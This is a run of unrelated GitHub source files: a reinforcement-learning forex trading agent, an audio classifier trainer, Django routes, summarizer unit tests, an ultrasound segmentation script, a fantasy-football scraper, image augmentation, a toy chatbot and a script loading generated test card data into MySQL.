\n if self.hold > 0: \n self.hold -= 1\n if self.constants['verbose'] or self.constants['verbose_ticks']:\n print(\"Holding:\", self.hold)\n return\n \n if self.orders: \n ## If in order executed\n self.order_length += 1\n \n if self.constants['visualise']:\n if self.order_length % 5 == 0:\n msg = 'NA,NA,NA,{:.3f},0.0'.format(self.order_length)\n self.send_to_socket(msg)\n \n self.update_diff_and_order_dir()\n self.update_drawdown_upside()\n \n self.print_tick_status()\n \n inst = self.get_inst_inputs()\n lstm = self.ma_diff_buffer\n self.DQ.memory = self.DQ.main_loop(self.DQ.memory, inst, lstm, self.orders)\n self.act(self.DQ.variables['action'])\n return\n \n \n \n def on_bar(self, bopen, bhigh, blow, bclose):\n \"\"\" On bar handler \"\"\"\n self.update_backtest_status()\n if self.constants['verbose_ticks']:\n print(\"BAR: \", bopen, bhigh, blow, bclose)\n return\n \n \n \n def on_order(self, order):\n \"\"\" On order handler \"\"\"\n self.last_order = order.id\n self.order_num += 1\n self.order_length = 0\n\n self.order_dir = 1 if order.type == \"buy\" else -1\n self.max_drawdown, self.max_upside = self.spread * -1, self.spread * -1\n if self.constants['verbose']:\n print(f\"ORDER:\\t{self.spread * 1000: .3f}\\t{order.type}\\t{self.DQ.variables['rnd_choice']: }\")\n \n inst = self.get_inst_inputs()\n lstm = self.ma_diff_buffer\n self.DQ.order_memory = self.DQ.main_loop(self.DQ.order_memory, \n inst, lstm, self.orders, \n new_action=False) \n return\n\n \n \n def on_order_close(self, order, profit):\n \"\"\" On order close handler \"\"\"\n self.balance += profit\n text = '{:.3f},{:.3f},{:.3f},{:.3f},{:.3f}'.format(self.order_num,\n profit, \n self.balance, \n self.order_length,\n self.DQ.variables['rnd_choice'])\n inst = self.get_inst_inputs()\n lstm = self.ma_diff_buffer\n self.DQ.order_memory = self.DQ.main_loop(self.DQ.order_memory, \n inst, lstm, self.orders,\n reward=profit, done=True,\n new_action=False) \n self.order_length = 0\n \n if self.constants['verbose']:\n print(f'EXIT: {text},{self.DQ.order_epsilon: .5f},{self.DQ.empty_epsilon: .5f}')\n \n if self.constants['write']: ## Appends to csv \n with open('performance/orders.csv', 'a') as f:\n f.write(f'{text}\\n')\n \n if self.constants['visualise']: ## Visualises in bokeh \n self.send_to_socket(text)\n \n if self.constants['train']:\n self.DQ.replay(self.DQ.memory, self.DQ.batch_size * 4, \n self.DQ.model, decay=False)\n self.DQ.replay(self.DQ.order_memory, self.DQ.batch_size, \n self.DQ.model)\n \n if self.order_num % 4 == 0:\n \"\"\" Saves weights \"\"\"\n self.DQ.save(f'models/{RLAgent.name}_weights.h5',\n self.DQ.model)\n return\n \n \n \n def update_bid_ask_mid_spread(self, bid, ask):\n self.bid, self.ask = bid, ask \n self.mid = (ask + bid)/2\n self.spread = ask - bid\n return\n \n \n def update_ma_diff_buffer(self):\n mids = np.array(self.mid_ma_buffer) ## Converts deque to np.array\n mids = mids[::-self.constants['diff_step']] ## Gets data point every diff_step\n mids = np.reshape(mids, mids.shape[0]) \n diff_arr = np.diff(mids) ## Calculates difference between points\n if diff_arr.shape[0] == 0: \n ## Catches beginning if self.hold is too small so no data is in diff_arr\n return\n ## Replaces the end values of the array to be fed into the RNN\n self.ma_diff_buffer[-len(diff_arr):] = diff_arr[:] \n return\n \n \n def update_diff_and_order_dir(self):\n \"\"\" \n Updates current diff and order_dir (order dir) \n \"\"\"\n o = self.orders[self.last_order] #Gets current order \n if o.type ==\"buy\":\n self.diff = self.bid - o.price\n self.order_dir = 1\n else:\n self.diff = o.price - self.ask\n self.order_dir = -1\n return\n \n \n def update_drawdown_upside(self):\n if self.diff < self.max_drawdown:\n self.max_drawdown = self.diff\n if self.diff > self.max_upside:\n self.max_upside = self.diff\n return\n \n \n def get_inst_inputs(self):\n inst_inputs = [[self.bid_diff], [self.ask_diff], \n [self.spread], [self.order_dir], [self.diff],\n [self.max_drawdown], [self.max_upside]]\n return inst_inputs\n \n\n def act(self, action):\n \"\"\" \n Performs action:\n - 1 : buys \n - 2 : sells \n - 3 : closes\n - 0 : nothing\n \"\"\"\n if action == 1:\n self.buy()\n elif action == 2:\n self.sell()\n elif action == 3:\n if self.orders:\n self.close()\n else:\n pass\n return\n \n \n def _get_max_ma(self):\n \"\"\" Returns full moving average buffer - used in setup \"\"\"\n return np.zeros(self.constants['mid_ma'])[::-self.constants['diff_step']]\n \n def update_backtest_status(self):\n self.tick_number += 1\n if self.constants['backtest_file_length'] is not None:\n if self.tick_number % 100 == 0:\n print('Backtest status: {:.3f} %'.format(100 * self.tick_number \n / self.constants['backtest_file_length']))\n \n def print_tick_status(self):\n \"\"\" Displays the tick status after every tick \"\"\"\n if self.orders:\n if self.constants['verbose'] and self.constants['verbose_ticks']:\n print(\"{: .5f} |\\t{: .5f}\\t{: .5f} |\\t{: .5f}\\t{: .5f}\"\n .format(self.diff, \n self.bid_diff, self.ask_diff, \n self.max_drawdown, self.max_upside))\n else:\n if self.constants['verbose'] and self.constants['verbose_ticks']:\n print(\"{: .5f}\\t{: .5f}\"\n .format(self.bid_diff, self.ask_diff))\n return\n \n \n def send_to_socket(self, msg):\n \"\"\" \n Sends message to bokeh server \n \n reward time step - long\n reward - float\n \n order time step - long\n inst val - float\n cum val - double\n max drawdown - float\n max upside - float\n \n order length count - int \n wait length count - int\n \n rnd order exit - bool (1 = yes, 0 = no) \n rnd order entry - bool (1 = yes, 0 = no)\n \n backtest percent - float\n \"\"\"\n \n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((HOST, PORT))\n s.sendall(msg.encode())\n return\n \n \n \n \nif __name__ == \"__main__\": \n backtest = True\n if backtest:\n filename=\"data/1yr_backtest_GBPUSD.csv\"\n with open(filename, newline='', encoding='utf-16') as csvfile:\n reader = csv.reader(csvfile)\n length = sum(1 for row in reader)\n agent = RLAgent(file_length=length, backtest=filename)\n else:\n agent = RLAgent(username=\"algosoc\",\n password=\"1234\",\n ticker=\"tcp://icats.doc.ic.ac.uk:7000\",\n endpoint=\"http://icats.doc.ic.ac.uk\")\n agent.run()\n","repo_name":"linyang17/ASA","sub_path":"src/agent_rl.py","file_name":"agent_rl.py","file_ext":"py","file_size_in_byte":12017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"32868416863","text":"\nimport datetime\nimport os\nimport time\n\nimport pandas as pd\nimport torch\nfrom torch.utils.data import random_split\nfrom torch import nn\n\nfrom utils import *\nfrom model import *\n\n\ndef train(parser_args):\n\n print(\"loading data...\")\n df = pd.read_csv(parser_args.csv_path)\n\n myds = SoundDS(df, parser_args.data_path)\n\n num_items = len(myds)\n num_train = round(num_items * 0.8)\n num_val = num_items - num_train\n train_ds, val_ds = random_split(myds, [num_train, num_val])\n print(f\"total : {num_items}, train : {num_train}, val : {num_val}\")\n\n train_dl = torch.utils.data.DataLoader(train_ds, batch_size=parser_args.batch_size, shuffle=True)\n val_dl = torch.utils.data.DataLoader(val_ds, batch_size=parser_args.batch_size, shuffle=False)\n\n print(\"data loading done!\")\n\n myModel = AudioClassifier_test()\n device = torch.device(f\"cuda:{parser_args.gpu}\" if torch.cuda.is_available() else \"cpu\")\n print(\"training with decive :\", device)\n # device = torch.device(\"cpu\")\n myModel = myModel.to(device)\n next(myModel.parameters()).device\n\n training(myModel, train_dl, val_dl, parser_args.epochs, device)\n\n todays_date = datetime.now()\n\n torch.save(myModel, os.path.join(parser_args.model_dir, f'{todays_date.year}{todays_date.month:02}{todays_date.day:02}_{todays_date.hour:02}_{todays_date.minute:02}.pt'))\n # torch.save(myModel.state_dict(), \"./20210525_model_noBN_normalize_each_file.pth\")\n\n\ndef training(model, train_dl, val_dl, num_epochs, device):\n print('Start training ...')\n\n cur_time = time.time()\n\n criterion = nn.CrossEntropyLoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=0.001)\n scheduler = torch.optim.lr_scheduler.OneCycleLR(\n optimizer,\n max_lr=0.001,\n steps_per_epoch=int(len(train_dl)),\n epochs=num_epochs,\n anneal_strategy=\"linear\",\n )\n\n for epoch in range(num_epochs):\n running_loss = 0.0\n correct_prediction = 0\n total_prediction = 0\n\n for i, data in enumerate(train_dl):\n inputs, labels = data[0].to(device), data[1].to(device)\n\n # inputs_m, inputs_s = inputs.mean(), inputs.std()\n # inputs = (inputs - inputs_m) / inputs_s\n\n optimizer.zero_grad()\n\n outputs = model(inputs)\n # loss = criterion(outputs, torch.max(labels, 1)[1])\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n scheduler.step()\n\n running_loss += loss.item()\n\n _, prediction = torch.max(outputs, 1)\n # correct_prediction += (prediction == torch.max(labels)).sum().item()\n correct_prediction += (prediction == labels).sum().item()\n\n # print(f\"prediction = {prediction}\")\n # print(f\"labels = {labels}\")\n\n total_prediction += prediction.shape[0]\n\n print(\n f\"Epoch : {epoch + 1}/{num_epochs}, step : {i + 1} / {int(len(train_dl))}, loss: {running_loss / (i+1) : .5f} \\r\",\n end=\"\",\n )\n\n num_batches = len(train_dl)\n avg_loss = running_loss / num_batches\n acc = correct_prediction / total_prediction\n\n print(\n f\"\\nEpoch: {epoch+1}/{num_epochs}, Loss: {avg_loss:.2f}, Accuracy: {acc:.2f} \",\n end=\"\",\n )\n\n inference(model, val_dl, device)\n\n print(f\"Finished Training, Total training time = {time.time() - cur_time}\")\n","repo_name":"shpark3312/sound_classification","sub_path":"code/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28421004493","text":"from django.conf.urls import url\nfrom django.shortcuts import render\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n url(r'^$',views.admin_home),\n url(r'^add_movie/$',views.addmovie),\n url(r'^showmovies/$',views.showmovies),\n url(r'^showmovie/$',views.showmovie),\n url(r'^updatemovie/$',views.updatemovie),\n url(r'^deletemovie/$',views.deletemovie),\n url(r'^alogout/$',views.alogout),\n path('addmovie.html',lambda request: render(request,'addmovie.html')),\n path('asettings.html',lambda request: render(request,'asettings.html')),\n path('ashowmovie.html',lambda request: render(request,'ashowmovie.html'))\n]","repo_name":"jp701/Automated-Movie-Rating-System","sub_path":"MR_SYSTEM/adminapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12857234602","text":"import unittest\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom headliner.losses import masked_crossentropy\nfrom headliner.model.basic_summarizer import BasicSummarizer\nfrom headliner.model.attention_summarizer import AttentionSummarizer\nfrom headliner.model.transformer_summarizer import TransformerSummarizer\nfrom headliner.preprocessing.dataset_generator import DatasetGenerator\nfrom headliner.preprocessing.keras_tokenizer import KerasTokenizer\nfrom headliner.preprocessing.preprocessor import Preprocessor\nfrom headliner.preprocessing.vectorizer import Vectorizer\n\n\nclass TestTraining(unittest.TestCase):\n\n def setUp(self) -> None:\n tf.random.set_seed(42)\n np.random.seed(42)\n self.data = [('a b', 'c'), ('a b c', 'd')]\n tokenizer_encoder = KerasTokenizer(lower=False, filters='')\n tokenizer_decoder = KerasTokenizer(lower=False, filters='')\n tokenizer_encoder.fit(['a b c <start> <end>'])\n tokenizer_decoder.fit(['c d <start> <end>'])\n self.vectorizer = Vectorizer(tokenizer_encoder=tokenizer_encoder,\n tokenizer_decoder=tokenizer_decoder,\n max_output_len=3)\n self.preprocessor = Preprocessor()\n batch_generator = DatasetGenerator(2)\n data_prep = [self.preprocessor(d) for d in self.data]\n data_vecs = [self.vectorizer(d) for d in data_prep]\n self.dataset = batch_generator(lambda: data_vecs)\n self.loss_func = masked_crossentropy\n\n def test_training_summarizer_attention(self) -> None:\n attention_summarizer = AttentionSummarizer(lstm_size=10,\n embedding_size=10)\n attention_summarizer.init_model(preprocessor=self.preprocessor,\n vectorizer=self.vectorizer,\n embedding_weights_encoder=None,\n embedding_weights_decoder=None)\n loss_attention = 0\n train_step = attention_summarizer.new_train_step(loss_function=self.loss_func,\n batch_size=2)\n for _ in range(10):\n for source_seq, target_seq in self.dataset.take(-1):\n loss_attention = train_step(source_seq, target_seq)\n print(str(loss_attention))\n\n self.assertAlmostEqual(1.577033519744873, float(loss_attention), 5)\n output_attention = attention_summarizer.predict_vectors('a c', '')\n expected_first_logits = np.array([-0.077805, 0.012667, 0.021359, -0.04872, 0.014989])\n np.testing.assert_allclose(expected_first_logits, output_attention['logits'][0], atol=1e-6)\n self.assertEqual('<start> a c <end>', output_attention['preprocessed_text'][0])\n self.assertEqual('d <end>', output_attention['predicted_text'])\n\n def test_training_summarizer_basic(self) -> None:\n basic_summarizer = BasicSummarizer(lstm_size=10,\n embedding_size=10)\n basic_summarizer.init_model(preprocessor=self.preprocessor,\n vectorizer=self.vectorizer,\n embedding_weights_encoder=None,\n embedding_weights_decoder=None)\n loss = 0\n train_step = basic_summarizer.new_train_step(loss_function=self.loss_func,\n batch_size=2)\n for e in range(0, 10):\n for source_seq, target_seq in self.dataset.take(-1):\n loss = train_step(source_seq, target_seq)\n\n self.assertAlmostEqual(1.5850255489349365, float(loss), 5)\n output = basic_summarizer.predict_vectors('a c', '')\n expected_first_logits = np.array([-0.00621 , 0.007277, 0.015851, -0.034298, 0.044253])\n np.testing.assert_allclose(expected_first_logits, output['logits'][0], atol=1e-6)\n self.assertEqual('<start> a c <end>', output['preprocessed_text'][0])\n self.assertEqual('<end>', output['predicted_text'])\n\n def test_training_summarizer_transformer(self):\n transformer_summarizer = TransformerSummarizer(num_heads=1,\n num_layers=1,\n feed_forward_dim=20,\n embedding_size=10,\n dropout_rate=0,\n max_prediction_len=3)\n transformer_summarizer.init_model(preprocessor=self.preprocessor,\n vectorizer=self.vectorizer,\n embedding_weights_encoder=None,\n embedding_weights_decoder=None)\n loss_transformer = 0\n train_step = transformer_summarizer.new_train_step(loss_function=self.loss_func,\n batch_size=2)\n for e in range(0, 10):\n for source_seq, target_seq in self.dataset.take(-1):\n loss_transformer = train_step(source_seq, target_seq)\n print(str(loss_transformer))\n\n self.assertAlmostEqual(1.3421446084976196, float(loss_transformer), 5)\n output_transformer = transformer_summarizer.predict_vectors('a c', '')\n expected_first_logits = np.array([-0.514366, 1.416978, -0.679771, -0.488442, -0.022602])\n np.testing.assert_allclose(expected_first_logits, output_transformer['logits'][0], atol=1e-6)\n self.assertEqual('<start> a c <end>', output_transformer['preprocessed_text'][0])\n self.assertEqual('c c c', output_transformer['predicted_text'])\n","repo_name":"as-ideas/headliner","sub_path":"tests/test_training.py","file_name":"test_training.py","file_ext":"py","file_size_in_byte":5779,"program_lang":"python","lang":"en","doc_type":"code","stars":231,"dataset":"github-code","pt":"21"} +{"seq_id":"40427959288","text":"import cv2, pydicom, nrrd, os, itertools\r\nimport numpy as np\r\nfrom PIL import Image\r\nfrom numpy import asarray\r\nfrom matplotlib import pyplot as plt\r\n\r\nroot = 'D:/renalUS/data/'\r\n\r\ndef path(directory):\r\n dcm_list, nrrd_list = [], []\r\n IDs = os.listdir(directory)\r\n for ID in IDs:\r\n files = os.listdir(directory + ID)\r\n for file in files:\r\n f_name, file_ext = os.path.splitext (file)\r\n if file_ext == '.nrrd':\r\n path_nrrd = directory + ID + '/' + file\r\n name_dcm = f_name [5:] +'.dcm'\r\n path_dcm = directory + ID + '/' + name_dcm\r\n nrrd_list.append (path_nrrd)\r\n dcm_list.append (path_dcm)\r\n return dcm_list, nrrd_list\r\n\r\n\r\ndef segmentation(path_dcm, path_nrrd):\r\n # convert dcm --> array --> RGB_jpg --> gray_jpg --> array\r\n dcm_to_array = pydicom.dcmread(path_dcm)\r\n array = dcm_to_array.pixel_array.astype(float)\r\n array = (np.maximum(array, 0)/array.max()) * 255.0\r\n array = np.uint8(array)\r\n jpg = Image.fromarray(array)\r\n jpg.save('D:/l-0.jpg')\r\n jpg = cv2.imread ('D:/l-0.jpg')\r\n gray_jpg = cv2.cvtColor(jpg, cv2.COLOR_BGR2GRAY)\r\n array_2D = asarray (gray_jpg)\r\n \r\n # nrrd --> array --> transposing\r\n mask_array, header = nrrd.read(path_nrrd)\r\n mask_array = np.reshape (mask_array, (800, 600))\r\n mask_array = np.transpose(mask_array)\r\n \r\n # apply nrrd to dcm in array type\r\n ROI = np.multiply(mask_array, array_2D)\r\n \r\n # show the segmentation\r\n segmented = ROI/ ROI.max() * 255.0\r\n plt.imshow(segmented, interpolation = 'none')\r\n plt.show()\r\n return segmented\r\n\r\ncol =[]\r\nfor i in range (800):\r\n col.append('c' + str(i+1))\r\n \r\ndef barplot (row_1D_array):\r\n sum = np.sum(row_1D_array, dtype = np.float32)\r\n print (sum)\r\n plt.bar (col, row_1D_array, color ='maroon')\r\n #plt.ylim((0, 255))\r\n plt.show()\r\n\r\ndef boxplot (array_2D):\r\n array_1D =[]\r\n for i in range (600):\r\n for j in range (800):\r\n array_1D.append(array_2D[i][j])\r\n plt.figure(figsize=(10, 7))\r\n plt.boxplot(array_1D)\r\n plt.show()\r\n return array_1D\r\n \r\ndef exp_value (array_2D):\r\n exp = np.multiply(array_2D, array_2D)\r\n return exp\r\n\r\ndef delete_markers (ROI):\r\n _, _, mean = overview(ROI)\r\n for i in range (600):\r\n for j in range (800):\r\n if ROI[i][j] >= 230:\r\n ROI[i][j] = mean\r\n return ROI\r\ndef overview (ROI):\r\n num_pixel = 0\r\n total_value_pixel = 0\r\n for i in range (600):\r\n for j in range (800):\r\n if ROI[i][j] > 0:\r\n num_pixel += 1\r\n total_value_pixel += ROI[i][j]\r\n mean_value_pixel = total_value_pixel/num_pixel\r\n return num_pixel, total_value_pixel, mean_value_pixel\r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"binhyc11/Renal-US-images","sub_path":"plot_segmentation.py","file_name":"plot_segmentation.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9639553435","text":"import requests\nimport pandas as pd\n\nfrom bs4 import BeautifulSoup\n\ndef remap_player(player):\n mapping = {\n 'Stephane Wilfried Singo': 'Wilfried Stephane Singo',\n 'Destiny Udogie': 'Iyenoma Destiny Udogie',\n 'Matias Vina': 'Matias Viña',\n 'Anderson Felipe': 'Felipe Anderson',\n 'Nicolò Zaniolo': 'Nicolo Zaniolo',\n 'Alvaro Morata': 'Álvaro Morata',\n 'Ledesma Rodriguez Pedro': 'Pedro',\n 'Diego Godin': 'Diego Godín',\n 'Theo Hernandez': 'Theo Hernández',\n 'Peter Stojanovic': 'Petar Stojanovic',\n 'Marten Roon De': 'Marten de Roon',\n 'Lobo Sandro Alex': 'Alex Sandro',\n 'Matthijs Ligt De': 'Matthijs de Ligt',\n 'Davide Faraoni': 'Marco Faraoni',\n 'Alvaro Odriozola': 'Álvaro Odriozola',\n 'Jens Larsen Stryger': 'Jens Stryger Larsen',\n 'Ruslan Malinovskyi': 'Ruslan Malinovskiy',\n 'Nahitan Nandez': 'Nahitan Nández',\n 'Oliver Giroud': 'Olivier Giroud',\n 'Pepe Reina': 'José Reina',\n 'Lorenzo Silvestri De': 'Lorenzo De Silvestri',\n 'Konstantinos Manolas': 'Kostas Manolas',\n 'Aleksej Miranchuk': 'Aleksey Miranchuk',\n 'Duvan Zapata': 'Duván Zapata',\n 'Arnor Sigurdsson': 'Arnór Sigurdsson',\n ' Hamed Traorè': 'Hamed Junior Traore',\n 'Galvao Pedro Joao': 'João Pedro',\n 'Rafael Leao': 'Rafael Leão',\n 'Nwankwo Tochukwu Simeon': 'Simy',\n 'Jaime Cuadrado': 'Juan Cuadrado',\n 'Giovanni Lorenzo Di': 'Giovanni Di Lorenzo',\n 'Leonardo Spinazzola': 'Leonardo Spinazzola',\n 'Maria Josè Callejon': 'José Callejón',\n 'Franck Kessiè': 'Franck Kessié',\n 'Alconchel Alberto Luis': 'Luis Alberto',\n 'Nicolas Gonzalez': 'Nicolás González',\n 'Lautaro Martinez': 'Lautaro Martínez',\n \"M'Bala Nzola\": 'M'Bala Nzola',\n 'Silva da Luiz Danilo': 'Danilo',\n 'Stefan Vrij De': 'Stefan de Vrij',\n 'Joaquin Correa': 'Joaquín Correa',\n 'Patricio Rui': 'Rui Patrício',\n 'Berat Djimsiti': 'Berat Gjimshiti',\n 'Roger Ibanez': 'Ibañez',\n 'Ramos Felipe Luiz': 'Luiz Felipe',\n 'Duarte Rui Mario': 'Mário Rui',\n 'Fabian Ruiz': 'Fabián',\n 'Frank Ribery': 'Franck Ribéry'\n }\n \n if player in mapping:\n return mapping[player]\n else:\n return player\n \ndef remap_team(team):\n mapping = {\n 'Milan': 'AC Milan'\n }\n \n if team in mapping:\n return mapping[team]\n else:\n return team\n\ndef get_league_teams(league_name):\n \n url = 'https://leghe.fantacalcio.it/{}/area-gioco/rose'.format(league_name)\n \n page = requests.get(url)\n soup = BeautifulSoup(page.text, 'html.parser')\n \n league_data = []\n\n team_names = soup.find_all(class_='media-heading')\n rows = soup.find_all(class_='smart-table table-striped fixed table no-margin has-subheader')\n for row, team_name in zip(rows, team_names):\n team_name = team_name.text\n\n roles = row.find_all(class_='cell-text cell-role cell-primary x1 smart-x2 mantra-x3 free-player-hidden')\n players = row.find_all(class_='player-link')\n\n for role, player in zip(roles, players):\n role = role.text\n\n name_page = requests.get(player['href'])\n soup_name = BeautifulSoup(name_page.text, 'html.parser')\n\n box = soup_name.find(class_='stickem-container')\n name = box.find(class_='img-responsive')['title'].split(' ')\n name.reverse()\n name = ' '.join(name)\n image = box.find(class_='img-responsive')['src']\n squad = box.find_all(class_='col-lg-6 col-md-6 col-sm-12 col-xs-12')[4].text.split(' ')[1]\n\n league_data.append([team_name, role, name, squad, image])\n\n league = pd.DataFrame(data=league_data, columns=['fanta_team', 'role', 'player', 'team', 'image'])\n league['player'] = league['player'].apply(lambda x: remap_player(x))\n league['team'] = league['team'].apply(lambda x: remap_team(x))\n league.to_csv('data/leghe_fantacalcio/leagues/{}.csv'.format(league_name), index=False)\n league.head()","repo_name":"Zatfer17/serie-a-lineups","sub_path":"modules/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36651995523","text":"import numpy as np\nimport os\nimport scipy.misc\nfrom scipy import ndimage\nimport scipy.ndimage\nfrom random import choice, randint\nfrom scipy.ndimage.interpolation import zoom\nnp.random.seed(123)\n\n\ndef augment_image(image):\n\tswitch = randint(0, 3)\n\n\tif switch == 0:\n\t\tblurred_image = ndimage.uniform_filter(image, size=(7, 7, 1))\n\t\t#scipy.misc.imsave(os.path.join('./', 'image_trans/blurred.jpg'), blurred_image)\n\t\treturn blurred_image\n\telif switch == 1:\n\t\tzoomed_image = scipy.ndimage.filters.gaussian_filter(image, 1.5)\n\t\t#scipy.misc.imsave(os.path.join('./', 'image_trans/zoomed.jpg'), zoomed_image)\n\t\treturn zoomed_image\n\telif switch == 2:\n\t\tflipped_image = np.fliplr(image)\n\t\t#scipy.misc.imsave(os.path.join('./', 'image_trans/flipped.jpg'), flipped_image)\n\t\treturn flipped_image\n\telif switch == 3:\n\t\trotation_angle = choice([randint(-70, -20), randint(20, 70)])\n\t\trotated_image = scipy.ndimage.interpolation.rotate(image, rotation_angle, mode='reflect', reshape=False)\n\t\t#scipy.misc.imsave(os.path.join('./', 'image_trans/rotated.jpg'), rotated_image)\n\t\treturn rotated_image\n\telse:\n\t\tblurred_image = ndimage.uniform_filter(image, size=(7, 7, 1))\n\t\treturn blurred_image\n\n\t# elif switch == 4:\n\t# \tshifted_amount = choice([randint(5.0, 13.0)])\n\t# \tshifted_image = scipy.ndimage.interpolation.shift(image, shifted_amount, mode='reflect')\n\t# \tscipy.misc.imsave(os.path.join('./', 'image_trans/rotated.jpg'), shifted_image)\n\n\nif __name__ == \"__main__\":\n\tparent_dir = '../../data/images/train/a/abbey/'\n\tim_name = '00000004.jpg'\n\timage_path = os.path.join(parent_dir, im_name)\n\timage = scipy.misc.imread(image_path)\n\taug_img = augment_image(image)\n# scipy.misc.imshow(image)\n\n","repo_name":"nischal225/miniplaces","sub_path":"im_aug.py","file_name":"im_aug.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38953344324","text":"#!/usr/bin/python3\n\nimport re\n\nquestions = {\n\t'is_pirate':\"Blimey! Ye landlubber still be learnin' the ropes! Every good talk starts with a hearty \\\"Arrrgh!\\\"\",\n\t'which_side':\"Good to be seein' you back.\\nDo you be lookin' to give(1) or get(2) help today?\"\n}\n\nresponses = {\n\t'is_pirate':(\n\t\t\t('a[ar]+r', True), # A proper pirate responds \"Arrrgh!\" or some variation thereof\n\t\t\t('.*', None),\n\t\t),\n\t'which_side':(\n\t\t\t('give','pirate'),\n\t\t\t('1', \t'pirate'),\n\t\t\t('get', 'victim'),\n\t\t\t('2', \t'victim'),\n\t\t\t('recieve', 'victim'),\n\t\t),\n}\n\nclass Session(object):\n\t\"\"\"Represents a user session\"\"\"\n\tqueriesProcessed = 0\n\thasOpenedWell = False\n\n\tknownData = {}\n\n\tactiveQuestion = 'is_pirate'\n\n\tdef __init__(self, name):\n\t\tsuper(Session, self).__init__()\n\t\tself.name = name\n\n\n\tdef handleQuery(self, request):\n\t\tself.queriesProcessed += 1\n\n\t\tif self.activeQuestion:\n\t\t\ttrans = self.interpretResponse(request)\n\t\t\tif trans == None:\n\t\t\t\t# We couldn't (or refused to) parse the response\n\t\t\t\treturn self.askData(self.activeQuestion)\n\n\t\tif 'is_pirate' not in self.knownData:\n\t\t\treturn self.askData('is_pirate')\n\n\t\tif 'which_side' not in self.knownData:\n\t\t\treturn self.askData('which_side')\n\n\t\treturn \"This be the end of the demo, you {}.\".format(self.knownData['which_side'])\n\n\tdef interpretResponse(self, request):\n\t\tl = responses[self.activeQuestion]\n\t\tfor patt, val in l:\n\t\t\tif re.search(patt, request.lower()):\n\n\t\t\t\tif val is not None:\n\t\t\t\t\tprint('learned {}:{}'.format(self.activeQuestion, val))\n\n\t\t\t\t\tself.knownData[self.activeQuestion] = val\n\t\t\t\t\tself.activeQuestion = None\n\n\t\t\t\treturn val\n\t\treturn None\n\n\tdef askData(self, data):\n\t\tif data in self.knownData:\n\t\t\tprint(\"Warning: {} is already known about user {}\".format(data, self.name))\n\t\tself.activeQuestion = data\n\n\t\treturn questions[data]\n\n\t\t\n\ndef main():\n\tsession = Session('testuser')\n\twhile True:\n\t\trequest = input('---> ')\n\n\t\tif not request:\n\t\t\tbreak\n\n\t\tresponse = session.handleQuery(request)\n\n\t\tif response:\n\t\t\tprint(\"\\n\"+response)\n\t\telse:\n\t\t\treturn\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"HALtheWise/pirates","sub_path":"text_handler/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37838769643","text":"#!/usr/bin/env python3\n'''\nAuthor: Jason Ostrom\nDescription: This script parses the json files created from Credit Card Generator (http://ccardgenerator.com/).\nThen inserts them into a MySQL DB\n\n'''\n\nimport json\nimport pymysql\nimport datetime\n\nfiles = ['cc_data/visa.json',\n\t'cc_data/mastercard.json',\n\t'cc_data/amex.json',\n 'cc_data/discover.json'\n]\n\ndb = pymysql.Connect(\"localhost\", \"<DB_USERNAME>\", \"<DB_PASSWORD>\", \"<DB_NAME>\" )\n\ndef insert_sql(vid, vnetwork, vcardnumber, vname, vaddress, vcountry, vcvv, vexp, vuser_id, vcreated_at, vupdated_at):\n\n insert_stmt = (\n \"INSERT INTO creditcards (id, network, cardnumber, name, address, country, cvv, exp, user_id, created_at, updated_at) \"\n \"VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\n)\n\n data = (vid, vnetwork, vcardnumber, vname, vaddress, vcountry, vcvv, vexp, vuser_id, vcreated_at, vupdated_at)\n\n try:\n with db.cursor() as cursor:\n retval = cursor.execute(insert_stmt, data)\n #print (\"Completed!: %s\" % retval)\n db.commit()\n finally:\n None\n\nindex = 1 \nfor file in files:\n\n with open(file, 'r') as f:\n data = f.read()\n\n string = data.replace(u'\\xa0', u' ')\n\n obj = json.loads(string)\n\n for i in obj:\n\n ##def insert_sql(vid, vnetwork, vcardnumber, vname, vaddress, vcountry, vcvv, vexp, vuser_id, vcreated_at, vupdated_at):\n network = i['CreditCard']['IssuingNetwork'] \n cardnumber = i['CreditCard']['CardNumber'] \n name = i['CreditCard']['Name'] \n address = i['CreditCard']['Address'] \n country = i['CreditCard']['Country'] \n cvv = i['CreditCard']['CVV'] \n exp = i['CreditCard']['Exp'] \n insert_sql(index, network, cardnumber, name, address, country, cvv, exp, 1, datetime.date(2012, 3, 23), datetime.date(2012, 3, 23))\n index += 1\n\nprint (\"Counter: %d\" % index)\ndb.close()\n","repo_name":"iknowjason/hammer","sub_path":"python_scripts/gen_creditdata.py","file_name":"gen_creditdata.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"21"} +{"seq_id":"8008708659","text":"import unittest\nfrom parameterized import parameterized\n\nfrom src.array.even_number_of_digits import EvenNumberOfDigits\n\n\nclass EvenNumberOfDigitsTest(unittest.TestCase):\n\n @parameterized.expand([\n ([0], 0),\n ([1771], 1),\n ([1772], 1),\n ([12, 345, 2, 6, 7896], 2),\n ([555, 901, 482, 1771], 1)\n ])\n def test_actual_return_against_expected(self, data, expected):\n actual = EvenNumberOfDigits().find_numbers(data)\n 